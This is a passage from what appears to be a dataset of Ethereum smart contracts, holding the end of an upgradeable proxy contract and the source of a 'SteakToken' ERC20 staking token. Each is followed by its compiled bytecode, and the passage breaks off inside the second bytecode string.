* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,474 |
0x9931d8cf8d3d0f022de4b8b5cf92c8a91eba6b43
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) public {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract SteakToken is ERC20 {
using SafeMath for uint;
event staked(address sender, uint amount, uint lockedTime);
event unstaked(address sender, uint amount);
address private _owner;
address private _minter;
address private _sales;
address private _tokenContract;
uint private stakeBuffer = 10000000000;
uint private stakedSupply = 0;
// Staking
uint private yearInMs = 31536000;
struct StakeType {
uint rewardPercent; // Percent reward to get each period
uint lockedTime; // How long the stake is locked before allowed to withdraw
}
mapping(uint => StakeType) private _stakingOptions;
struct Stake {
uint amount; // Amount staked
uint startTime; // When staking started
uint stakeType; // Type of stake
}
mapping(address => Stake[]) private _staking;
constructor () public ERC20("Steak", "STEAK", 18){
_owner = tx.origin;
_stakingOptions[0].rewardPercent = 1000;
_stakingOptions[0].lockedTime = 0;
_stakingOptions[1].rewardPercent = 2000;
_stakingOptions[1].lockedTime = 604800;
_stakingOptions[2].rewardPercent = 3500;
_stakingOptions[2].lockedTime = 2592000;
_stakingOptions[3].rewardPercent = 5000;
_stakingOptions[3].lockedTime = 31536000;
}
/* Set the token contract for which to call for the stake reward
*
*/
function getTotalSupply() public view returns(uint) {
return totalSupply() + stakedSupply;
}
/* Get available tokens
*
*/
function getMyBalance() public view returns(uint) {
return balanceOf(msg.sender);
}
/* Get all tokens inkl staked
*
*/
function getMyFullBalance() public view returns(uint) {
uint balance = balanceOf(msg.sender);
for (uint i = 0; i < _staking[msg.sender].length; i++){
balance += getStakeAmount(i);
}
return balance;
}
/* Set the token contract for which to call for the stake reward
*
*/
function setTokenContract(address _address) public {
require(_msgSender() == _owner,"Only owner can set token contract!");
_tokenContract = _address;
}
/* Sets the address allowed to mint
*
*/
function setMinter(address minter_) public {
require(msg.sender == _owner, "Only owner can set minter!");
_minter = minter_;
}
/*
*
*/
function setSales(address sales_) public {
require(msg.sender == _owner, "Only owner can set minter!");
_sales = sales_;
}
/* Mint an amount of tokens to an address
*
*/
function mint(address address_, uint256 amount_) public {
require(msg.sender == _minter || msg.sender == _sales, "Only minter can mint tokens!");
_mint(address_, amount_);
}
/*
*
*/
function mintToMultipleAddresses(address[] memory _addresses, uint _amount) public {
require(_msgSender() == _owner,"Only owner can mint to multiple addresses!");
for(uint i = 0; i < _addresses.length; i++){
_mint(_addresses[i], _amount);
}
}
/* Stake
*
*/
function stake(uint amount_, uint stakeType_) public {
_burn(msg.sender, amount_);
stakedSupply += amount_;
Stake memory temp;
temp.amount = amount_;
temp.startTime = now;
temp.stakeType = stakeType_;
_staking[msg.sender].push(temp);
emit staked(msg.sender, amount_, _stakingOptions[stakeType_].lockedTime);
}
/* Get all stakes a address holds
*
*/
function getStakes() public view returns (uint[3][] memory) {
uint[3][] memory tempStakeList = new uint[3][](_staking[msg.sender].length);
for (uint i = 0; i < _staking[msg.sender].length; i++){
tempStakeList[i][0] = getStakeAmount(i);
tempStakeList[i][1] = getRemainingLockTime(i);
tempStakeList[i][2] = getStakeReward(i);
}
return tempStakeList;
}
/* Returns the amount of token provided with a stake.
*
*/
function getStakeAmount(uint stake_) public view returns (uint) {
return _staking[msg.sender][stake_].amount;
}
/* returns true or false depending on if a stake is locked
* or free to withdraw.
*/
function isStakeLocked(uint stake_) private view returns (bool) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
return stakingTime < _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime;
}
/* Returns the remaining lock time of a stake, if unlocked
* returns 0.
*/
function getRemainingLockTime(uint stake_) public view returns (uint) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
if (stakingTime < _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime) {
return _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime - stakingTime;
} else {
return 0;
}
}
/* Calculates the current reward of a stake.
* Get time staked
* Add a buffer to circumvent float calculations
* Gets amount of periods staked
* Multiplies the periods staked with the reward percent amount
* Multiplies the reward by the amount staked
* Removed the buffer
* Removes the percent buffer
*/
function getStakeReward(uint stake_) public view returns (uint) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
uint buffededStakingTime = stakingTime * stakeBuffer;
uint periods = buffededStakingTime / yearInMs;
uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent;
uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent;
uint rewardPerc = buffedReward / stakeBuffer;
uint reward = rewardPerc / 100;
return reward;
}
/* Unstake previous stake, mints back the original tokens,
* sends mint function call to reward contract to mint the
* reward to the sender address.
*/
function unstake(uint stake_) public {
require(isStakeLocked(stake_) != true, "Stake still locked!");
_mint(msg.sender, _staking[msg.sender][stake_].amount);
stakedSupply -= _staking[msg.sender][stake_].amount;
uint _amount = getStakeReward(stake_);
(bool success, bytes memory returnData) = address(_tokenContract).call(abi.encodeWithSignature("mint(address,uint256)",msg.sender, _amount));
require(success);
_removeIndexInArray(_staking[msg.sender], stake_);
emit unstaked(msg.sender, _amount);
}
/* Walks through an array from index, moves all values down one
* step the pops the last value.
*/
function _removeIndexInArray(Stake[] storage _array, uint _index) private {
if (_index >= _array.length) return;
for (uint i = _index; i<_array.length-1; i++){
_array[i] = _array[i+1];
}
_array.pop();
}
/* Changes the owner of the token
*
*/
function setOwner(address owner_) public {
require(msg.sender == _owner, "Only owner can set owner!");
_owner = owner_;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806370a08231116100de578063bbcd5bbe11610097578063dd62ed3e11610071578063dd62ed3e146104a9578063df4b4776146104d9578063ea440500146104f7578063fca3b5aa146105275761018e565b8063bbcd5bbe1461043f578063c293fe1c1461045b578063c4e41b221461048b5761018e565b806370a08231146103595780637a2e18fd146103895780637b0472f0146103a557806395d89b41146103c1578063a457c2d7146103df578063a9059cbb1461040f5761018e565b806323b872dd1161014b578063395093511161012557806339509351146102d157806340c10f19146103015780634c7389091461031d57806363ffe50d1461033b5761018e565b806323b872dd146102675780632e17de7814610297578063313ce567146102b35761018e565b806306fdde0314610193578063095ea7b3146101b15780630a1c1f4b146101e157806313af4035146101fd57806318160ddd1461021957806321806bf914610237575b600080fd5b61019b610543565b6040516101a89190612c62565b60405180910390f35b6101cb60048036038101906101c6919061249d565b6105e5565b6040516101d89190612c47565b60405180910390f35b6101fb60048036038101906101f691906124d9565b610603565b005b610217600480360381019061021291906123e9565b6106d5565b005b6102216107a9565b60405161022e9190612e24565b60405180910390f35b610251600480360381019061024c919061252d565b6107b3565b60405161025e9190612e24565b60405180910390f35b610281600480360381019061027c919061244e565b610916565b60405161028e9190612c47565b60405180910390f35b6102b160048036038101906102ac919061252d565b6109ef565b005b6102bb610cce565b6040516102c89190612e3f565b60405180910390f35b6102eb60048036038101906102e6919061249d565b610ce5565b6040516102f89190612c47565b60405180910390f35b61031b6004803603810190610316919061249d565b610d98565b005b610325610e8e565b6040516103329190612e24565b60405180910390f35b610343610e9e565b6040516103509190612e24565b60405180910390f35b610373600480360381019061036e91906123e9565b610f1b565b6040516103809190612e24565b60405180910390f35b6103a3600480360381019061039e91906123e9565b610f63565b005b6103bf60048036038101906103ba9190612556565b611037565b005b6103c9611156565b6040516103d69190612c62565b60405180910390f35b6103f960048036038101906103f4919061249d565b6111f8565b6040516104069190612c47565b60405180910390f35b6104296004803603810190610424919061249d565b6112c5565b6040516104369190612c47565b60405180910390f35b610459600480360381019061045491906123e9565b6112e3565b005b6104756004803603810190610470919061252d565b6113be565b6040516104829190612e24565b60405180910390f35b610493611423565b6040516104a09190612e24565b60405180910390f35b6104c360048036038101906104be9190612412565b611436565b6040516104d09190612e24565b60405180910390f35b6104e16114bd565b6040516104ee9190612c25565b60405180910390f35b610511600480360381019061050c919061252d565b61164e565b60405161051e9190612e24565b60405180910390f35b610541600480360381019061053c91906123e9565b6117d2565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105db5780601f106105b0576101008083540402835291602001916105db565b820191906000526020600020905b8154815290600101906020018083116105be57829003601f168201915b5050505050905090565b60006105f96105f26118a6565b84846118ae565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106446118a6565b73ffffffffffffffffffffffffffffffffffffffff161461069a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069190612ca4565b60405180910390fd5b60005b82518110156106d0576106c38382815181106106b557fe5b602002602001015183611a79565b808060010191505061069d565b505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c90612d64565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061080057fe5b90600052602060002090600302016001015442039050600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061086457fe5b90600052602060002090600302016002015481526020019081526020016000206001015481101561090b5780600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106108de57fe5b90600052602060002090600302016002015481526020019081526020016000206001015403915050610911565b60009150505b919050565b6000610923848484611c0d565b6109e48461092f6118a6565b6109df8560405180606001604052806028815260200161309f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109956118a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea29092919063ffffffff16565b6118ae565b600190509392505050565b600115156109fc82611efd565b15151415610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612d44565b60405180910390fd5b610aa433600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110610a8d57fe5b906000526020600020906003020160000154611a79565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110610aee57fe5b906000526020600020906003020160000154600a600082825403925050819055506000610b1a8261164e565b905060006060600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163384604051602401610b6c929190612b9c565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610bf69190612b85565b6000604051808303816000865af19150503d8060008114610c33576040519150601f19603f3d011682016040523d82523d6000602084013e610c38565b606091505b509150915081610c4757600080fd5b610c8f600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085611fdc565b7fc99009ef3dfc0489efa43797eee17157bc922e1ccfdddd9807414c7ca7b10f7c3384604051610cc0929190612bc5565b60405180910390a150505050565b6000600560009054906101000a900460ff16905090565b6000610d8e610cf26118a6565b84610d898560016000610d036118a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a790919063ffffffff16565b6118ae565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e415750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790612d04565b60405180910390fd5b610e8a8282611a79565b5050565b6000610e9933610f1b565b905090565b600080610eaa33610f1b565b905060005b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015610f1357610f02816113be565b820191508080600101915050610eaf565b508091505090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea90612cc4565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61104133836120fc565b81600a600082825401925050819055506110596122f9565b828160000181815250504281602001818152505081816040018181525050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000155602082015181600101556040820151816002015550507fa337adc42df840d8a4dbe5c08ee60fbd99a4b4ed84704bee7b85a0523b8bbf9f3384600c60008681526020019081526020016000206001015460405161114993929190612bee565b60405180910390a1505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111ee5780601f106111c3576101008083540402835291602001916111ee565b820191906000526020600020905b8154815290600101906020018083116111d157829003601f168201915b5050505050905090565b60006112bb6112056118a6565b846112b6856040518060600160405280602581526020016130c7602591396001600061122f6118a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea29092919063ffffffff16565b6118ae565b6001905092915050565b60006112d96112d26118a6565b8484611c0d565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113246118a6565b73ffffffffffffffffffffffffffffffffffffffff161461137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612dc4565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061140a57fe5b9060005260206000209060030201600001549050919050565b6000600a546114306107a9565b01905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b606080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905067ffffffffffffffff8111801561151957600080fd5b5060405190808252806020026020018201604052801561155357816020015b61154061231a565b8152602001906001900390816115385790505b50905060005b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611646576115ac816113be565b8282815181106115b857fe5b60200260200101516000600381106115cc57fe5b6020020181815250506115de816107b3565b8282815181106115ea57fe5b60200260200101516001600381106115fe57fe5b6020020181815250506116108161164e565b82828151811061161c57fe5b602002602001015160026003811061163057fe5b6020020181815250508080600101915050611559565b508091505090565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061169b57fe5b906000526020600020906003020160010154420390506000600954820290506000600b5482816116c757fe5b0490506000600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061171a57fe5b90600052602060002090600302016002015481526020019081526020016000206000015482029050600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061178f57fe5b906000526020600020906003020160000154029050600060095482816117b157fe5b0490506000606482816117c057fe5b04905080975050505050505050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185990612cc4565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561191e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191590612de4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561198e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198590612ce4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a6c9190612e24565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae090612e04565b60405180910390fd5b611af5600083836122aa565b611b0a816002546120a790919063ffffffff16565b600281905550611b61816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c019190612e24565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7490612da4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce490612c84565b60405180910390fd5b611cf88383836122aa565b611d6381604051806060016040528060268152602001613079602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea29092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e959190612e24565b60405180910390a3505050565b6000838311158290611eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee19190612c62565b60405180910390fd5b5060008385039050809150509392505050565b600080600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611f4a57fe5b90600052602060002090600302016001015442039050600c6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110611fae57fe5b9060005260206000209060030201600201548152602001908152602001600020600101548110915050919050565b81805490508110611fec576120a3565b60008190505b60018380549050038110156120665782600182018154811061201057fe5b906000526020600020906003020183828154811061202a57fe5b90600052602060002090600302016000820154816000015560018201548160010155600282015481600201559050508080600101915050611ff2565b508180548061207157fe5b600190038181906000526020600020906003020160008082016000905560018201600090556002820160009055505090555b5050565b6000808284019050838110156120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e990612d24565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561216c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216390612d84565b60405180910390fd5b612178826000836122aa565b6121e381604051806060016040528060228152602001613057602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611